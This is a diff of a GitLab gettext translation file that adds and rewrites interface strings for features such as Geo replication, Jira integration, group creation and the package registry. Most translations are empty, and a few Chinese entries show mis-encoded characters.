msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13669,7 +13821,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14024,6 +14185,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "派生自"
@@ -14336,6 +14512,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14486,6 +14677,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15026,16 +15232,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15125,6 +15331,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15398,13 +15613,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15467,6 +15685,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15785,9 +16006,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15824,22 +16042,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -15911,7 +16138,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16053,9 +16295,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16084,9 +16323,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "æ­·å²ç´€éŒ„"
@@ -16171,9 +16407,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16183,9 +16434,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16339,6 +16587,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16582,6 +16833,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16615,6 +16869,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -16978,6 +17265,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17017,6 +17307,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17164,7 +17454,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17360,10 +17650,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17441,7 +17731,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -17930,12 +18223,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,13 +18472,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18182,7 +18502,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,10 +18595,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18362,7 +18685,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18410,6 +18733,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18425,6 +18760,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18518,6 +18856,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18551,6 +18892,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18617,6 +18982,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18858,18 +19226,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19558,8 +19929,8 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
-msgstr "管ç†ç¶²é  IDE 功能"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr ""
@@ -19816,6 +20187,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20098,6 +20475,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20149,9 +20529,6 @@ msgstr ""
msgid "Merge request"
msgstr "åˆä½µè«‹æ±‚"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20440,10 +20817,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20543,6 +20920,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20717,10 +21097,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -20976,6 +21356,12 @@ msgstr "修改åˆä½µæ交"
msgid "Monday"
msgstr "星期一"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21108,6 +21494,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21301,9 +21693,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21403,9 +21792,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21752,7 +22138,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -21992,6 +22381,9 @@ msgstr "ç„¡"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22314,6 +22706,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22693,7 +23088,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,7 +23187,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -22858,6 +23253,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -22885,6 +23283,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -22927,6 +23328,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22948,6 +23352,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22999,9 +23406,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23011,6 +23427,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23026,6 +23445,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23071,6 +23493,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
